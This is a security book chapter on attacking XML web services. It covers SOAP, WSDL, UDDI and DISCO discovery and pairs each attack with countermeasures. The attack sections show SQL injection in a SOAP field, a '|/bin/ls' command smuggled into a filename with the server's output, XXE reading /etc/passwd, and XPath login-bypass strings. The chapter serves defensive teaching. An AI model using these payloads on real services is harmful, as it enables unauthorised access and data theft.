CHAPTER 7
ATTACKING XML WEB SERVICES
Several years have passed since XML web services were enthusiastically introduced in the computing world, enjoying backing and support from Internet technology juggernauts including Microsoft, IBM, and Sun. Initially, web services were mainly presented as the “glue” that would allow disparate web applications to communicate with each other effortlessly and with minimal human intervention. As Microsoft put it, web services would provide “a loosely-coupled, language-neutral, platform-independent way of linking applications within organizations, across enterprises, and across the Internet.” Nowadays, web services have surpassed the realm of heterogeneous application intercommunications and are widely used for all types of applications, including Web 2.0 applications and new technologies such as cloud computing.
This widespread use of web services across the Internet has made the issue of web services security even more relevant than before. Web services are not inherently more insecure (or more secure) than other technologies, but due to the ease with which they make application interfaces available to users and potential attackers, secure deployment and implementation are of vital importance. This chapter will begin with a discussion of what a web service actually is and will then focus on how it might be attacked.
WHAT IS A WEB SERVICE?
Simply stated, a web service is a self-contained software component that performs specific functions and publishes information about its capabilities to other components over a network. Web services are based on a set of Internet standards, including the Web Services Definition Language (WSDL), an XML format for describing the connection points exported by a service; the Universal Description, Discovery, and Integration (UDDI) specification, a set of XML protocols and an infrastructure for the description and discovery of web services; and the Simple Object Access Protocol (SOAP), an XML-based protocol for messaging and RPC-style communication between web services. Leveraging these three technologies, web services can be mixed and matched to create innovative applications, processes, and value chains.
NOTE
You probably noted the centrality of the eXtensible Markup Language (XML) within web services technologies—because of the ease with which XML represents data in a structured fashion, it provides a strong backbone for interapplication communication. For this reason, web services are often referred to as XML web services, although technically XML is not required to implement them.
Even more appealing, web services offer a coherent mechanism for alleviating the typically arduous task of integrating multiple web applications, coordinating standards to pass data, protocols, platforms, and so on. Web services can describe their own functionality and search out and dynamically interact with other web services via WSDL, UDDI, and SOAP. Web services thus provide a means for different organizations to connect their applications with one another to conduct dynamic e-business across a network, no matter what their application, design, or run-time environment (ASP.NET, ISAPI, COM, PHP, J2EE, and so on).
What distinguishes web services from plain old web sites? Web services are targeted at unintelligent agents rather than end users. As Microsoft puts it, “In contrast to web sites, browser-based interactions, or platform-dependent technologies, web services are services offered computer-to-computer, via defined formats and protocols, in a platform-independent and language-neutral manner.”
Figure 7-1 illustrates how web services integrate into the typical web application architecture we described in Chapter 1 (we’ve omitted some of the details from the original drawing to focus on clarifying the role of web services). Figure 7-1 shows a web service at hypothetical Company A that publishes information about Company A’s applications to other companies (hypothetical Company B) and Internet clients. Let’s talk about some of the more important aspects of web services technology in this diagram.
Transport: SOAP over HTTP(S)
Web services are transport agnostic, but most current standards documentation discusses HTTP (and MIME for non-ASCII data). Any other Internet-based service could be used (for example, SMTP), and thus, in Figure 7-1, we’ve wrapped our web services inside of a generic “Server” that mediates communication with web services.
SOAP is encapsulated in whatever transport is used—the most common example is SOAP over HTTP (or HTTPS, if communications confidentiality and integrity are needed). Recall that SOAP is the messaging protocol used for communication with a web service—so what types of messages does it carry? According to the World Wide Web Consortium (W3C) SOAP Primer, “SOAP provides the definition of an XML document,
Figure 7-1 A diagram of a stereotypical web services architecture
which can be used for exchanging structured and typed information between peers in a decentralized, distributed environment. It is fundamentally a stateless, one-way message exchange paradigm...” SOAP messages are comprised of three parts: an envelope, a header, and a body, as diagrammed in Figure 7-2.
At the lowest level of detail, a SOAP message encapsulated over HTTP would look like the following example of a hypothetical stock trading web service (note the envelope, header, body, and subelements within each). Note also that the original request is an HTTP POST.
POST /StockTrader HTTP/1.1
Host: www.stocktrader.edu
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "Some-URI"
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Header>
<m:quote xmlns:m="http://www.stocktrader.edu/quote"
env:actor="http://www.w3.org/2001/12/soap-envelope/actor/next"
env:mustUnderstand="true">
<m:reference>uuid:9oe4567w-q345-739r-ba5d-pqff98fe8j7d</reference>
<m:dateAndTime>2010-03-28T09:34:00.000-06:00</m:dateAndTime>
</m:quote>
<SOAP-ENV:Body>
<m:GetQuote xmlns:m="Some-URI">
<symbol>MSFT</symbol>
</m:GetQuote>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
The response to our hypothetical web service request might look something like this:
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
<SOAP-ENV:Body>
<m:GetQuoteResponse xmlns:m="Some-URI">
<Price>67.5</Price>
</m:GetQuoteResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Figure 7-2 A schematic representation of a SOAP message, showing envelope, body, and headers
SOAP Hacking Tools
Although it may look complex at first glance, SOAP over HTTP is just as approachable as any of the other text-based Internet protocols—and potentially as easily manipulated!
Since web services are just XML over HTTP, any HTTP manipulation tool (like those discussed in Chapter 1) will work. But why do all that work when excellent tools are available for just messing with SOAP? The following list is the authors’ choice of available SOAP hacking tools:
• WebService Studio This is a free tool for which there are two very similar but different versions: one is available at http://code.msdn.microsoft.com/webservicestudio20/ and the other one at http://webservicestudio.codeplex.com. By entering a WSDL location, the tool will generate all the available methods and offer an interactive UI for entering data. It will display the raw SOAP request and response that was created for your web service request. It also has some cool features like showing the WSDL in a nice parsed-out tree view. Figure 7-3 shows WebService Studio in action.
• SoapUI This is a free and open source Java desktop application offered by Eviware for inspecting, invoking, and developing web services, web services simulation, and mocking, functional, load, and compliance testing of web services. This great tool offers the same point-and-click functionality provided by WebService Studio but also provides a powerful scripting language for creating complex or dynamic test scenarios.
Figure 7-3 WebService Studio from http://code.msdn.microsoft.com
• WSDigger This a free tool offered by Foundstone that does some very simple automated testing like XPath injection, SQL injection, and command execution against web services. It’s not as flexible as WebService Studio, but does contain the ability to print out a nice report showing any vulnerabilities found against the web service, making it a very useful tool.
• WSFuzzer This is an OWASP project sponsored by neuroFuzz Application Security LLC. It is a free tool written in Python that performs automated fuzzing of web services. It provides some interesting capabilities such as IDS evasion, support for client-side SSL certificates, and HTML-formatted reports.
• SoapClient.com SoapClient has a nice web page listing of very useful web service tools such as WSDL validators, WSDL analyzers, SOAP clients, and UDDI browsers. If you need it, you can usually find it here.
WSDL
Although not shown in Figure 7-1, WSDL is central to the concept of web services. Think of it as a core component of the web service itself, the mechanism by which the service publishes or exports information about its interfaces and capabilities. WSDL is typically implemented via one or more pages that can be accessed on the server where the web service resides (typically, these carry .wsdl and .xsd file extensions).
The W3C specification for WSDL describes it as “an XML grammar for describing network services as collections of communication endpoints capable of exchanging messages.” In essence, this means a WSDL document describes what functions (“operations”) a web service exports and how to connect (“bind”) to them. Continuing our example from our previous discussion of SOAP, here is a sample WSDL definition for a simple web service that provides stock-trading functionality. Note that our example contains the following key pieces of information about the service:
• The types and message elements define the format of the messages that can be passed (via embedded XML schema definitions).
• The portType element defines the semantics of the message passing (for example, request-only, request-response, and response-only).
• The binding element specifies various encodings over a specified transport such as HTTP, HTTPS, or SMTP.
• The service element defines the endpoint for the service (a URL).
<?xml version="1.0"?>
<definitions name="StockTrader"
targetNamespace="http://stocktrader.edu/stockquote.wsdl"
xmlns:tns="http://stocktrader.edu/stockquote.wsdl"
xmlns:xsd1="http://stocktrader.edu/stockquote.xsd"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<types>
<schema targetNamespace="http://stocktrader.edu/stockquote.xsd"
xmlns="http://www.w3.org/2000/10/XMLSchema">
<element name="GetQuote">
<complexType>
<all>
<element name="tickerSymbol" type="string"/>
</all>
</complexType>
</element>
<element name="Price">
<complexType>
<all>
<element name="price" type="float"/>
</all>
</complexType>
</element>
</schema>
</types>
<message name="GetQuoteInput">
<part name="body" element="xsd1:QuoteRequest"/>
</message>
<message name="GetQuoteOutput">
<part name="body" element="xsd1:StockPrice"/>
</message>
<portType name="StockQuotePortType">
<operation name="GetQuote">
<input message="tns:GetQuoteInput "/>
<output message="tns:GetQuoteOutput "/>
</operation>
</portType>
<binding name="StockQuoteSoapBinding"
type="tns:StockQuotePortType">
<soap:binding style="document" transport="http://
schemas.xmlsoap.org/soap/http"/>
<operation name="GetQuote">
<soap:operation soapAction=
"http://stocktrader.edu/GetQuote"/>
<input>
<soap:body use="literal"/>
</input>
<output>
<soap:body use="literal"/>
</output>
</operation>
</binding>
<service name="StockQuoteService">
<documentation>User-readable documentation here
</documentation>
<port name="StockQuotePort"
binding="tns:StockQuoteBinding">
<soap:address location=
"http://stocktrader.edu/stockquote"/>
</port>
</service>
</definitions>
The information in a WSDL document is typically quite benign, as it is usually intended for public consumption. However, as you can see here, a great deal of business logic can be exposed by WSDL if it is not properly secured. In fact, WSDL documents are often likened to “interface contracts” that describe what terms a particular business is willing to accept in a transaction. Additionally, web developers are notorious for putting inappropriate information in application files like WSDL documents, and we’re sure to see a new crop of information disclosure vulnerabilities via this interface.
Directory Services: UDDI and DISCO
As defined by UDDI.org, “Universal Description, Discovery, and Integration (UDDI) is a specification for distributed web-based information registries of web services. UDDI is also a publicly accessible set of implementations of the specification that allow businesses to register information about the web services they offer so that other businesses can find them.”
Figure 7-4 illustrates how UDDI fits into the overall framework of web services. First, a web service provider publishes information about its service using the appropriate API (the API usually depends on the toolkit used). Then, web services consumers can look up this particular service in the UDDI directory, which will point the consumer toward the appropriate WSDL document(s) housed within the web service provider. WSDL specifies how to connect to and use the web service, which finally unites the consumer with the specific functionality he or she was seeking. Although not required, all of the interactions in Figure 7-4 can occur over SOAP (and probably will in most implementations).
Figure 7-4 The “publish, find, bind” interaction among UDDI, WSDL, and web services. All arrows represent SOAP communications.
UDDI directories fall into two categories: public and private. A public UDDI is what companies would use in order to offer their web services to the public. An example of a public UDDI directory is xmethods.net.
Private UDDI directories are usually implemented in large corporations for internal or B2B use. These directories are hosted internally at the company and are usually only accessible to the employees or partners of the organization. Since UDDI directories are where many companies offer their web services, it’s very useful to query as many directories as possible to see if the company you are assessing has any open services. Many UDDI clients can be used in order to search a directory. We commonly use one located on SoapClient.com. Figure 7-5 shows a UDDI search for Amazon.
The raw UDDI query looks like the following:
POST /inquire HTTP/1.0
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Host: www.xmethods.net
Content-Length: 425
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><find_business
generic="2.0" xmlns="urn:uddiorg:api_v2"><findQualifiers><findQualifier
>orAllKeys
</findQualifier></findQualifiers><name xml:lang="en">amazon</name></
find_business></soap:Body></soap:Envelope>
Think long and hard before actually publishing any of your web services to a UDDI. Even though proper authentication might be in place, it opens up your attack surface. If your company has partners who need a directory of your web services, create a private UDDI with authentication. This way you aren’t publishing it for the world to see.
NOTE
You should never practice security through obscurity, but it never hurts to practice security AND obscurity.
Since public UDDI directories are, well, public, it’s not hard to find them, and they usually contain fairly innocuous information. Private UDDI directories are a different matter.
If an attacker discovers a private UDDI, then he’s usually hit a gold mine, for two reasons. One, most private UDDI directories offer up very interesting web services that comprise the core of the organization’s application infrastructure. Two, because most internal, private UDDIs are assumed to be “protected” from outside access, they implement very few security controls, oftentimes not even basic authentication.
Figure 7-5 A SOAP client performing a UDDI search
If “publish” access is available, where the public has the ability to create or edit the web services in the directory, a common attack might be to rename an existing web service and create an exact copy of that web service as a middleman and record all the traffic or even manipulate the traffic on the fly.
Discovering UDDI in most cases is quite simple. Many companies will have a uddi.site.com and accessing their methods is as simple as sending a query to http://uddi.site.com/inquiry, or for publishing access, http://uddi.site.com/publish. Some other common locations are shown in Table 7-1.
DISCO
Discovery of Web Services (DISCO) is a Microsoft proprietary technology available within their .NET Server operating system and other .NET-related products. To publish
Table 7-1 Common Private UDDI Locations
a deployed web service using DISCO, you simply need to create a .disco file and place it in the web service’s virtual root directory (vroot) along with the other service-related files (such as .asmx, .wsdl, .xsd, and other file types). The .disco document is an XML document that contains links to other resources that describe the web service, much like a WSDL file containing the interface contract. The following example shows a simple DISCO file:
<disco:discovery
xmlns:disco="http://schemas.xmlsoap.org/disco/"
xmlns:scl="http://schemas.xmlsoap.org/disco/scl/">
<!-- reference to other DISCO document -->
<disco:discoveryRef
ref="related-services/default.disco"/>
<!-- reference to WSDL and documentation -->
<scl:contractRef ref="stocks.asmx?wsdl"
docRef="stocks.asmx"/>
</disco:discovery>
The main element of a DISCO file is contractRef, which has two attributes, ref and docRef, that point to the WSDL and documentation files for a given web service. Furthermore, the discoveryRef element can link the given DISCO document to other DISCO documents, creating a web of related DISCO documents spanning multiple machines and even multiple organizations. Thus, .disco files often provide an interesting treasure trove of information for malicious hackers.
In its .NET Framework SDK, Microsoft publishes a tool called disco.exe that connects to a given DISCO file, extracts information about the web services discovered at the specified URL (writing output to a file called results.discomap), and downloads all the .disco and .wsdl documents that were discovered. It can also browse an entire site for DISCO files and save them to the specified output directory using the following syntax.
C:>disco /out:C:output http://www.victim.com/service.asmx
Microsoft (R) Web Services Discovery Utility
[Microsoft (R) .NET Framework, Version 1.0.3705.0]
Copyright (C) Microsoft Corporation 1998-2001. All rights reserved.
Disco found documents at the following URLs:
http://www.victim.com/service.asmx?wsdl
http://www.victim.com/service.asmx?disco
The following files hold the content found at the corresponding URLs:
C:outputservice.wsdl <- http://www. victim.com/service.asmx?wsdl
C:outputservice.disco <- http://www. victim.com/service.asmx?disco
The file C:output
esults.discomap holds links to each of these files.
In most situations, prospective clients won’t know the exact address of the .disco file, so DISCO also makes it possible to provide hints in the vroot’s default page. If the vroot’s default page is an HTML document, the LINK tag can be used to redirect the client to the .disco file:
<HTML>
<HEAD>
<link type='text/xml'
rel='alternate'
href='math.disco'/>
</HEAD>
...
</HTML>
If the vroot’s default page is an XML document, you can use the xml-stylesheet processing instruction to accomplish the same thing:
<?xml-stylesheet type="text/xml" alternate="yes"
href="math.disco"?>
...
Although DISCO is probably going to be supplanted by the more widely accepted UDDI specification, no doubt many developers will implement DISCO for its less complex, lighter-weight approach to publishing web services. Combined with its ready availability in Microsoft’s widely deployed technologies, DISCO, or something like it, will probably prove a good target for malicious hackers seeking information about web services.
Similarities to Web Application Security
Web services are in many ways like discrete web applications. They are comprised of scripts, executables, and configuration files that are housed in a virtual directory on a web server. Thus, as you might expect, many of the vulnerabilities we’ve discussed throughout this book also apply to web services. So don’t selectively ignore the basics of web application security just because you’ve deployed this new thing called a “web service.” See Appendix A for a checklist of web application security basics.
ATTACKING WEB SERVICES
Okay, enough background. How do web services fare when under real-world attack? This section will discuss recent hands-on examples from our consulting work.
DISCO and WSDL Disclosure
Microsoft web services (.asmx files) may cough up DISCO and/or WSDL information simply by appending special arguments to the service request. For example, the following URL would connect to a web service and render the service’s human-readable interface:
http://www.victim.com/service.asmx
DISCO or WSDL information can be displayed by appending ?disco or ?wsdl to this URL, as shown here:
http://www.victim.com/service.asmx?disco
and here:
http://www.victim.com/service.asmx?wsdl
Figure 7-6 shows the result of such an attack on a web service. The data in this example is quite benign (as you might expect from a service that wants to publish information about itself), but we’ve seen some very bad things in such output—SQL Server credentials, paths to sensitive files and directories, and all of the usual goodies that web devs love to stuff into their config files. The WSDL info is much more extensive—as we’ve discussed, it lists all service endpoints and data types. What more could a hacker ask for before beginning malicious input attacks?
We should also note that you may be able to find out the actual name of the DISCO file(s) by perusing the HTML source of a web service or related page. We saw how “hints” as to the location of the DISCO file(s) can be implemented in HTML earlier in this chapter, in our discussion of DISCO.
DISCO and WSDL Disclosure Countermeasures
Assuming that you’re going to want to publish some information about your web service, the best thing to do to prevent DISCO or WSDL disclosures from becoming serious issues is to prevent sensitive or private data from ending up in the XML. Authenticating access to the directory where the files exist is also a good idea. The only way to ensure that DISCO or WSDL information doesn’t end up in the hands of intruders is to avoid creating the relevant .wsdl, .discomap, .disco, and .xsd files for the service. If these files are available, they are designed to be published!
Figure 7-6 Dumping DISCO information from a remote web service using the ?disco argument
Injection Attacks
The major attack that most web services are vulnerable to is the same issue that plagues all software programs: input validation. In fact, we find that web services tend to be even more vulnerable than “classic” HTTP/HTML-based web applications. This is due to most developers assuming that the communication to the web service is a computer, not a human. For example, the following SOAP request shows how SQL injection can be done in a web services call. The bolded portion is the SQL injection attack being used in the accountNumber parameter.
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/
/www.w3.org/2001/XMLSchema">
<soap:Body>
<InjectMe xmlns="http://tempuri.org/">
<accountNumber>0' OR '1' = '1</accountNumber>
</InjectMe>
</soap:Body>
</soap:Envelope>
Next, we’ll present an example of executing remote commands via a SOAP service. This particular service was used to convert images from one format to another. The root cause was that the service took the filenames from user input and slapped them right on the command line. Here’s the POST request, where we inject a simple /bin/ls command (in bold text) to obtain a directory listing on the server. We could’ve done much worse, of course.
POST /services/convert.php HTTP/1.0
Content-Length: 544
SoapAction: http://www.host.com/services/convert.php
Host: www.host.com
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAP-
ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema"
xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-
ENV:Body><SOAPSDK4:convert xmlns:SOAPSDK4="http://www.host.com/
services/"><SOAPSDK1:source>|/bin/ls</
SOAPSDK1:source><SOAPSDK1:from>test</SOAPSDK1:from><SOAPSDK1:to>test</
SOAPSDK1:to></SOAPSDK4:convert></SOAP-ENV:Body></SOAP-ENV:Envelope>
Here’s the server’s response. Notice the output of the ls command in bold.
HTTP/1.1 200 OK
Date: Tue, 18 May 2010 09:34:01 GMT
Server: Apache/1.3.26 (Unix) mod_ssl/2.8.9 OpenSSL/0.9.6a ApacheJServ/
1.1.2 PHP/4.2.2
X-Powered-By: PHP/4.2.2
Connection: close
Content-Type: text/html
<cTypeface:Bold>Warning</b>: fopen("cv/200301182241371.|/bin/ls",
"w+") - No such file or directory in <cTypeface:Bold>/usr/home/www/ser-
vices/convert.php</b> on line <cTypeface:Bold>24</b><br />
<br />
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.
w3.org/2001/
XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/
encoding/" xmlns:si="http://soapinterop.org/xsd"><SOAP-ENV:Body><conve
rtResponse><return xsi:type="xsd:string">class.smtp.php
convert.php
convertclient.php
dns.php
dns_rpc.php
dnsclient.php
index.php
mailer.php
</return></convertResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
Injection Attacks Countermeasures
Input injection countermeasures for web services are the same as for classic web applications: input/output validation. We covered these topics in detail in Chapter 6.
External Entity Attack
XML allows a document or file to be embedded into the original XML document through the use of external entities. Entities are like XML shortcuts; they allow a tag to be associated with either certain chunks of text or other data to be inserted into the XML. For example, a declaration of an entity looks like this:
<!DOCTYPE bookcollection [
<!ENTITY WS "Web Security">
<!ENTITY W "Wireless Security">
<!ENTITY NS "Network Security">
<!ENTITY HS "Host Security">
<!ENTITY PS "Physical Security">
]>
These entities can now be used in the XML document by referring to them by their short names and will be fully expanded when the XML document is delivered:
<bookcollection>
<title id="1">Web Hacking Exposed</title>
<category>&WS;</category >
<year>2010</year>
<title id="2">Hacking Exposed</title>
<category>&NS;</category>
<year>2010</year>
</bookcollection>
The full XML document will look like the following when parsed.
<bookcollection>
<title id="1">Web Hacking Exposed</title>
<category>Web Security</category >
<year>2010</year>
<title id="2">Hacking Exposed</title>
<category>Network Security</category>
<year>2010</year>
</bookcollection>
As you can see, this is a very nice little shortcut that can be used to keep things easily manageable. Entities can also be declared as external entities, where the declaration of the entity points to a remote location that contains the data to be delivered. This is where the vulnerability lies. For example, consider the following external entity reference:
<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com/test.txt"><!ELEMENT
foo ANY>]>
By injecting this external entity reference into a SOAP request, the receiving SOAP server will go and retrieve the file at "http://www.test.com/test.txt" and inject the contents of test.txt into the SOAP request. Here’s an example SOAP request into which we’ve injected our example external entity request (in bold):
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com
/test.txt"><!ELEMENT foo ANY>]>
<SOAP-ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema"
xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<SOAPSDK4:login xmlns:SOAPSDK4="urn:MBWS-SoapServices">
<SOAPSDK1:userName></SOAPSDK1:userName>
<SOAPSDK1:authenticationToken></
SOAPSDK1:authenticationToken>
</SOAPSDK4:login>
<foo>&test;</foo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
The SOAP server then returns the following response:
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM "http://www.test.com/test.txt";>
<foo>... This is the content from the file test.txt ...</foo>
Notice that the SOAP server parsed the request and retrieved the content located at "http://www.test.com/test.txt". The server then displayed the normal SOAP output along with the contents of the file “test.txt.” An example of a more malicious attack would be to tell the SOAP server to return the system password file by just changing the URL location to point to it. By changing the external entity to "/etc/passwd", as shown next, the system will return the password file:
<!DOCTYPE foo [<!ENTITY test SYSTEM "/etc/passwd"><!ELEMENT foo ANY>]>
There are several things that can be done using this attack:
• Read files off the system using relative paths included in the external entity.
• Retrieve files from other web servers using the SOAP server as the gateway.
• DoS the SOAP server by sending malicious filenames such as the famous CON, AUX, COM1 device names with win32.
• Use the SOAP server to do anonymous port scanning of other systems.
XML External Entity Countermeasures
If you handle untrusted XML input, you should prohibit external entities. This is best done by specifying a handler for your XML parser that aborts when it encounters external entities.
XPath and XQuery Injection Attacks
XPath is a language that is used to query XML documents (see “References & Further Reading” at the end of this chapter for more information). It works similarly to SQL and is used in almost the exact same way. For example, let’s say we have an XML file that has the following content:
XPath queries allow developers to navigate and search each node in the file, rather than parsing the entire XML file (which is usually inefficient). Using an XPath query, the developer could simply return all the matching nodes. Let’s use the previous example to illustrate how XPath queries work.
XML is formatted in terms of nodes. In the previous example, Author, Title, and Publisher are elements of the Book node. Nodes in XPath are referenced by /s. A query that will return all the Titles in this XML would look like this: /Books/Book/Title. XPath also supports wildcards and shortcuts, so an equivalent shorter request for the same result would be //Title. Double slashes indicate to start from the root of the nodes and keep searching until finding a result that matches Title. To request all elements under the Book node, the XPath query would be /Books/Book/*.
XPath has a number of different features and functions, but at this point, we have enough background to illustrate how an attack is constructed. XPath injection works exactly the same way as SQL injection: if the XPath query is built with user-supplied input, arbitrary commands can be injected. Let’s look at an example XPath query that is built into a web service. We’ve bolded the code where user input is being converted to an XPath query, in this case in order to determine if the username/password supplied matches the set on file:
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression Xexpr = nav.Compile("string(//user[name/text()='"+
Username.Text+"' and password/text()='"+Password.Text+ "']/account/
text())");
String account=Convert.ToString(nav.Evaluate(Xexpr));
if (account=="") {
// Login failed.
} else {
// Login succeeded.
}
As with SQL injection, the attacker now just has to find a way to craft her input in order to make the XPath result always return true, thus granting login. We’ll use a classic SQL injection technique to achieve this—injecting an expression that always evaluates “true”:
User: ' or 1=1 or ''='
Password: junk
Now when the XPath query is evaluated, it becomes
//user[name/text()='' or 1=1 or ''='' and password/text()='junk'
This query will return the entire list of valid users and authenticate the attacker (even though a valid username/password was not supplied!). Some other common malicious payloads that can be injected into XPath queries include these:
' or 1=1 or ''='
//*
*/*
@/
count(//*)
Extraction of the entire XML database is also possible using blind XPath injection (see “References & Further Reading” for a link to Amit Klein’s excellent paper on this topic).
XQuery is basically a superset of XPath with several new features such as conditional statements, program flow, and built-in and user-defined functions. Besides syntax differences, all the XPath attacks previously described also apply to XQuery.
XPath and XQuery Injection Countermeasures
Since it is so similar to SQL injection, the countermeasures for XPath injection are nearly identical. See Chapter 6 for a detailed discussion of these countermeasures. Also see “References & Further Reading” at the end of this chapter for additional information on how to prevent these issues.
WEB SERVICE SECURITY BASICS
Feeling a bit nervous about publishing that shiny new web service outside the company firewall? You should be. This section will discuss some steps you can take to protect your online assets when implementing web services using basic security due diligence and web services–specific technologies.
Web Services Security Measures
Due to the relative newness of the technology, web services security continues to evolve. As of this writing, it entails implementing classic web application security best practices, while also keeping an eye on developing security standards like WS-Security. We’ll discuss both of these approaches in this section.
Authentication
If you implement a web service over HTTP, access to the service can be limited in exactly the same ways as web applications, using standard HTTP authentication techniques discussed in Chapter 4, such as Basic, Digest, Windows Integrated, and SSL client-side certificates. Custom authentication mechanisms are also feasible, for example, by passing authentication credentials in SOAP header or body elements. Since web services publish business logic to the periphery of the organization, authentication of all connections to the service is something that should be strongly considered. Most of the models for web services contemplate business-to-business applications, not business-to-consumer, so they should be easier to restrict access to a well-defined constellation of at least semi-trusted users. Even so, attacks against all the basic HTTP authentication techniques are discussed in Chapter 4, so don’t get too overconfident.
SSL
Because of their reliance on XML, which is usually cleartext, web services technologies like SOAP, WSDL, and UDDI are uniquely exposed to eavesdropping and tampering while in transit across the network. This is not a new problem and has been overcome using Secure Sockets Layer (SSL), which is discussed in Chapter 1. We strongly recommend SSL be used in conjunction with web services to protect against no-brainer eavesdropping and tampering attacks.
XML Security
Since web services are built largely on XML, many standards are being developed for providing basic security infrastructures to support its use. Here is a brief overview of these developing technologies—links to more information about each can be found in the “References & Further Reading” section at the end of this chapter.
• XML Signature A specification for describing digital signatures using XML, providing authentication, message integrity, and nonrepudiation for XML documents or portions thereof.
• Security Assertion Markup Language (SAML) Format for sharing authentication and authorization information.
• Extensible Access Control Markup Language (XACML) An XML format for information access policies.
WS-Security
On April 11, 2002, Microsoft Corp., IBM Corp., and VeriSign Inc. announced the publication of a new web services security specification called the Web Services Security Language, or WS-Security (see links to the specification in the “References & Further Reading” section at the end of this chapter). WS-Security subsumes and expands upon the ideas expressed in similar specifications previously proposed by IBM and Microsoft (namely, SOAP-Security, WS-Security, and WS-License).
In essence, WS-Security defines a set of extensions to SOAP that can be used to implement authentication, integrity, and confidentiality in web services communications. More specifically, WS-Security describes a standard format for embedding digital signatures, encrypted data, and security tokens (including binary elements like X.509 certificates and Kerberos tickets) within SOAP messages. WS-Security heavily leverages the previously mentioned XML security specifications—XML Signature and XML Encryption—and is meant to be a building block for a slew of other specs that will address related aspects of security, including WS-Policy, WS-Trust, WS-Privacy, WSSecureConversation, WS-Federation, and WS-Authorization.
The best way to describe WS-Security is via an example. The following SOAP message contains the new WS-Security header and an encrypted payload (we’ve added line numbers to the left column to ease description of individual message functions):
Let’s examine some of the elements of this SOAP message to see how WS-Security provides security. On line 3, we see the beginning of the SOAP header, followed on line 10 by the new WS-Security header, wsse:Security, which delimits the WS-Security information in the SOAP header. As we note in line 11, there can be several WS-Security headers included within a SOAP message, describing authentication tokens, cryptographic keys, and so on. In our particular example, we’ve shown the xenc:EncryptedKey header describing an encryption key used to encrypt a portion of the SOAP message payload (line 12). Note that the encryption key itself is encrypted using the public key of the message recipient (Alice in line 15) using RSA asymmetric cryptography, and the encrypted payload element is referenced on line 22 as enc1. Further down in the body of the SOAP message, on line 29, we can see the data encrypted with the key using 3DES (note the Id="enc1"). In summary,
• Header line 18 3DES symmetric encryption key (encrypted using recipient’s public key)
• Body line 32 3DES encrypted data payload
Alice can receive this message, decrypt the 3DES key using her private key, and then use the 3DES key to decrypt the data. Ignoring authentication and key distribution issues, we have achieved strong confidentiality for the payload of this SOAP message.
Although WS-Security provides a transport-agnostic, granular, and feature-rich endto-end security mechanism (in contrast with SSL/TLS over HTTP, which operates in point-to-point scenarios), it can also add complexity and significant overhead due to the cryptographic processing (encryption and signing) and increased size of SOAP messages. To determine if WS-Security is right for you over other options such as HTTPS, you must analyze the specific characteristics of your system and architecture in detail.
XML Firewalls
In parallel with the development of web services, specialized security systems like XML firewalls have sprung up. Unlike traditional Layer 3 firewalls, XML firewalls focus on protecting the application-layer XML messaging inherent to web services from common attacks like the ones outlined in this chapter (message- and parser-type attacks). Providing defense-in-depth is always welcome, especially for sensitive programming interfaces like those provided by web services. However, the XML firewall has yet to establish itself as a widely accepted approach to securing web services. This is due to several factors, including the availability of protections like authentication and SSL designed into typical web services, the degree of customization reducing the effectiveness of one-size-fits-all security gateways in many scenarios, and the encroaching of traditional firewall technology into the application space, where greater application awareness has resulted in the same protections being provided by existing hardware and software.
SUMMARY
If the history of interapplication communication repeats itself, the ease with which web services architectures publish information about applications across the network is only going to result in more application hacking. We’ve provided some concrete examples of such attacks in this chapter. At the very least, it’s going to put an even greater burden on web architects and developers to design and write secure code. With web services, you can run but you can’t hide—especially with technologies like SOAP, WSDL, and UDDI opening doors across the landscape. Remember the basics of web security—firewalls are generally poor defense against application-level attacks, servers (especially HTTP servers) should be conservatively configured and fully patched, solid authentication and authorization should be used wherever possible, and proper input validation should be done at all times. Developing specifications like WS-Security should also be leveraged as they mature. Onward into the brave new world of web services!
REFERENCES & FURTHER READING
